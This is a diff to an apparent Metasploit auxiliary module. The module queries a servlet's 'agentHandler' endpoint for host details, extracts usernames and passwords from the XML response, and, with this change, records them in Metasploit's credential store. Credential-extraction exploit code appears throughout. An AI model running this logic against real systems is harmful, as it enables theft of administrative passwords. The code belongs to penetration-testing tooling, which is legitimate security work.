@@ -62,13 +62,13 @@ def run
62
62
res = send_request_cgi ( {
63
63
'uri' => normalize_uri ( target_uri . path , "agentHandler" ) ,
64
64
'method' => 'GET' ,
65
- 'vars_get' => {
66
- 'mode' => 'getTableData' ,
67
- 'table' => 'HostDetails'
68
- }
65
+ 'vars_get' => {
66
+ 'mode' => 'getTableData' ,
67
+ 'table' => 'HostDetails'
68
+ }
69
69
} )
70
70
71
- if res and res . code == 200
71
+ if res && res . code == 200
72
72
# When passwords have digits the XML parsing will fail.
73
73
# Replace with an empty password attribute so that we know the device has a password
74
74
# and therefore we want to add it to our host list.
@@ -78,7 +78,7 @@ def run
78
78
rescue
79
79
fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ xml } " )
80
80
end
81
- slid_host_ary = Array . new
81
+ slid_host_ary = [ ]
82
82
doc . elements . each ( 'Details/HostDetails' ) do |ele |
83
83
if ele . attributes [ "password" ] != nil
84
84
# If an element doesn't have a password, then we don't care about it.
@@ -111,7 +111,7 @@ def run
111
111
}
112
112
} )
113
113
114
- if res and res . code == 200
114
+ if res && res . code == 200
115
115
begin
116
116
doc = REXML ::Document . new ( res . body )
117
117
rescue
@@ -135,14 +135,33 @@ def run
135
135
# With AS/400 we get some garbage in the domain name even though it doesn't exist
136
136
domain_name = ""
137
137
end
138
- cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
139
138
140
139
msg = "Got login to #{ host_ipaddress } | running "
141
140
msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
142
141
msg << " | username: "
143
142
msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
144
143
msg << " | password: #{ password } "
145
144
print_good ( msg )
145
+
146
+ cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
147
+
148
+ credential_core = report_credential_core ( {
149
+ password : password ,
150
+ username : username ,
151
+ } )
152
+
153
+ begin
154
+ host_login_data = {
155
+ address : host_ipaddress ,
156
+ service_name : type ,
157
+ workspace_id : myworkspace_id ,
158
+ protocol : 'tcp' ,
159
+ port : 0 , # can be any port, so just set to 0 else the cred api screams
160
+ core : credential_core ,
161
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
162
+ }
163
+ create_credential_login ( host_login_data )
164
+ end
146
165
end
147
166
end
148
167
else
@@ -168,4 +187,27 @@ def run
168
187
print_error ( "#{ peer } - Failed to reach agentHandler servlet" )
169
188
end
170
189
end
190
+
191
+
192
+ def report_credential_core ( cred_opts = { } )
193
+ # Set up the has for our Origin service
194
+ origin_service_data = {
195
+ address : rhost ,
196
+ port : rport ,
197
+ service_name : ( ssl ? 'https' : 'http' ) ,
198
+ protocol : 'tcp' ,
199
+ workspace_id : myworkspace_id
200
+ }
201
+
202
+ credential_data = {
203
+ origin_type : :service ,
204
+ module_fullname : self . fullname ,
205
+ private_type : :password ,
206
+ private_data : cred_opts [ :password ] ,
207
+ username : cred_opts [ :username ]
208
+ }
209
+
210
+ credential_data . merge! ( origin_service_data )
211
+ create_credential ( credential_data )
212
+ end
171
213
end
0 commit comments